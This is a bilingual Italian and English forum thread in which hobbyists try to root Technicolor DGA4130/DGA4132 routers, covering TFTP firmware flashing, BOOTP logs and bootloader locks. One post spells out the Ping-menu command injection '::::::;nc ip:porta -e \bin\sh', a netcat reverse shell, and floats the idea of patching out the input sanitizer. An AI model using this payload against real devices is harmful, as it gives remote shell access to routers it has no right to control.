[TeddyRaspin76]

perchè solo python ? 

Perché mi sembrava più semplice, ma se si possono iniettare comandi al modem anche in altro linguaggio ben venga. 

[shdf]

Ho una buona conoscenza di Autoit https://www.liveboxinfo.ga/

[shdf]

And are you pretty sure that TFTP correctly flash fw file ? When modem in in BOOTP Mode the "i" (Info) Led should flash for approx 1 min
with orange light and then modem restarts itself.

If this is the same behaviour you experienced, then your modem could be on bank_2  but don't ask me why, it would be a very strange
thing. 

well...now i'm wondering...
This what i'm doing:
1) i start TFTPD
2) with a paper clip i press the reset button in the back and i hold it down
3) i start the modem and i wait
4) TFTPD open a window saying it started sending the firmware
5) i remove the paperclip
6) the file is sent
4) the modem reboot

i do another try to see about the "i" light...

Edit:
i confirm, it goes to Orange for about 1 minute, here are the logs during the process :

Rcvd BootP Msg for IP 0.0.0.0, Mac 10:13:31:B4:05:BA [09/12 19:44:55.234]
Client requested address 0.0.68.0 [09/12 19:44:55.250]
DHCP: proposed address 192.168.1.3 [09/12 19:44:59.891]
Rcvd BootP Msg for IP 0.0.0.0, Mac 10:13:31:B4:05:BA [09/12 19:44:59.891]
Client requested address 0.0.68.0 [09/12 19:44:59.891]
Connection received from 192.168.1.3 on port 2003 [09/12 19:44:59.906]
Read request for file <AGTHP_1.0.1_001_CLOSED.rbi>. Mode octet [09/12 19:44:59.906]
OACK: <blksize=1024,> [09/12 19:44:59.906]
Using local port 50855 [09/12 19:44:59.906]
Suppress pingable address 192.168.1.3 [09/12 19:45:04.031]
<AGTHP_1.0.1_001_CLOSED.rbi>: sent 25072 blks, 25673035 bytes in 8 s. 0 blk resent [09/12 19:45:07.844]
DHCP: proposed address 192.168.1.4 [09/12 19:45:08.688]
Rcvd BootP Msg for IP 0.0.0.0, Mac 10:13:31:B4:05:BA [09/12 19:45:08.688]
Client requested address 0.0.68.0 [09/12 19:45:08.688]
DHCP: proposed address 192.168.1.4 [09/12 19:45:14.339]
Rcvd BootP Msg for IP 0.0.0.0, Mac 10:13:31:B4:05:BA [09/12 19:45:14.339]
Client requested address 0.0.68.0 [09/12 19:45:14.339]
DHCP: proposed address 192.168.1.4 [09/12 19:45:19.980]
Rcvd BootP Msg for IP 0.0.0.0, Mac 10:13:31:B4:05:BA [09/12 19:45:19.980]
Client requested address 0.0.68.0 [09/12 19:45:19.980]
DHCP: proposed address 192.168.1.4 [09/12 19:45:24.625]

[shdf]

@TeddyRaspin76
did you successfully downgraded to 1.0.1.001 ?

The strange thing with the firmware version 1.0.1.x is that inside the file it says : VBNT-K (like the DGA4130)
They started writing VBNT-S only since firmware version 1.0.2.001 so i'm wondering that it is now impossible to go back to 1.0.1 if the system check for this string...

Edit:
no luck with firmware 1.0.2.001 the behavior is just the same..."the factory default" from the gui doesn't change anything...

[TeddyRaspin76]

There is nothing to say except you're absolutely on Bank_2. You have to wait for something able to force firmware upgrade or unlocking root.

[shdf]

OK but did you successfully downgraded to 1.0.1.001 ?

[TeddyRaspin76]

Yes and it is not unlockable. AGTHP uses a different bootloader and release version since first firmware, in other words the "DGA4130 exploit" never existed in the DGA4132. 

[shdf]

that's strange, because the file date in the Ansuel repo is way earlier than the date where the Exploit was released on internet...
the file is dated : 2017 May 16
The blog date : 2017 July 14 https://weaponizedautism.wordpress.com/2017/07/14/vulnerabilities-in-technicolor-adsl-residential-gateways/

[shdf]

Se qualcuno sa programmare in Python, avrei una mezza idea di come rootare il DGA4132 e ottenere quindi lo stesso risultato del DGA4130. 

puoi dirci di più? o da MP?

[-Mirco-]

Se qualcuno sa programmare in Python, avrei una mezza idea di come rootare il DGA4132 e ottenere quindi lo stesso risultato del DGA4130. 

Io mi trovo più a mio agio in php, ad ogni modo se ti và di spiegarci l'idea di base valutiamo il dà farsi 

[TeddyRaspin76]

In buona sostanza l'idea di base è questa.

L'exploit possibile sul firmware 1.0.3 del DGA4130 si basa su una falla nel menu Ping, sotto Diagnostica, in cui non c'è controllo sulla sintassi degli indirizzi IPv6 inseriti.

Non a caso l'exploit si basa sull'inserimento della stringa ::::::;nc ip:porta -e \bin\sh che ha il seguente significato :

:::::: (indirizzo IpV6 vuoto separato dai due punti
; (interruzione dell'istruzione)
nc (netcat) interroga l'IP di gateway su una determinata porta
-e \bin\sh (esegue la shell Linux contenuta dentro \bin)

Ora questa mancanza di controllo è stata fixata in versioni successive della webui, però è sufficiente prendere il sorgente del menu diagnostics (.lua credo) del fw 1.0.3 di un DGA4130
e confrontarlo con quello del fw 1.0.4 (sempre del DGA4130), operazione possibile sui modem già precedentemente rootati.

A questo punto pensavo e vi domando se fosse possibile patchare in memoria tramite Python o altro linguaggio di programmazione la webui o la funzione che il menu Ping va a richiamare,
in modo da bypassare il check che viene fatto sull'indirizzo IPv6 inserito e permettendo quindi l'esecuzione di codice eseguibile (netcat etc etc).

Perché alla fine sia il DGA4130 che il DGA4132 sono identici in tutto e per tutto lato firmware, exploit a parte che esiste solo su 1.0.3 di AGTEF, mentre AGTHP (cioè il DGA4132) nasce già con la falla fixata.

Ritengo più intrigante questa sfida visto che oramai il DGA4130 offre di tutto e di più e la GUI di Ansuel è già ultra completa di suo (a parte bug minori che comunque il buon Ansuel continua a fixare).

Se avete idee alternative son qui. 

[shdf]

But the exploit is in the file : /usr/lib/lua/web/post_helper.lua which cannot be accessed from the web...
it's the file where the sanitize function is declared. i don't remember where i read that, but i checked and it's true.

in diagnostics-ping-modal.lp there is at the begining:

local post_helper = require("web.post_helper")

which load the functions that helps to manage the data sent from the WEB (POST requests).

It's not like it was a javascript function executed on client side. unfortunately...

[TeddyRaspin76]

Well, it would be nice to compare the post_helper.lua from a 1.0.3 fw on DGA4130 rooted device with the same file from a newer firmware (1.0.4.xxx) and
see which are the differences. It would be nice if it could be possible to inject with Python (pyload) or any other script the old helper.lua in order to accept
any command in the Ping menu and so unlock any DGA4130/DGA4132 with any firmware onboard.

[TeddyRaspin76]

@shdf

Hi again. I can't understand why the BOOTP mode now let me only to flash the same firmware or an updated version. I can't downgrade at all. Could you help me please ? 

[shdf]

how could i help ? lol i'm stuck on firmware 1.0.3 since the begining..
i only flahsed previous firmware, never a newer because i'm affraid to not be able to go back, as it is happening to you unfortunately...

But did the system moved you on bank 2 for some reason ? or is it the firmware who installed a new bootloader blocking old firmware...who knows...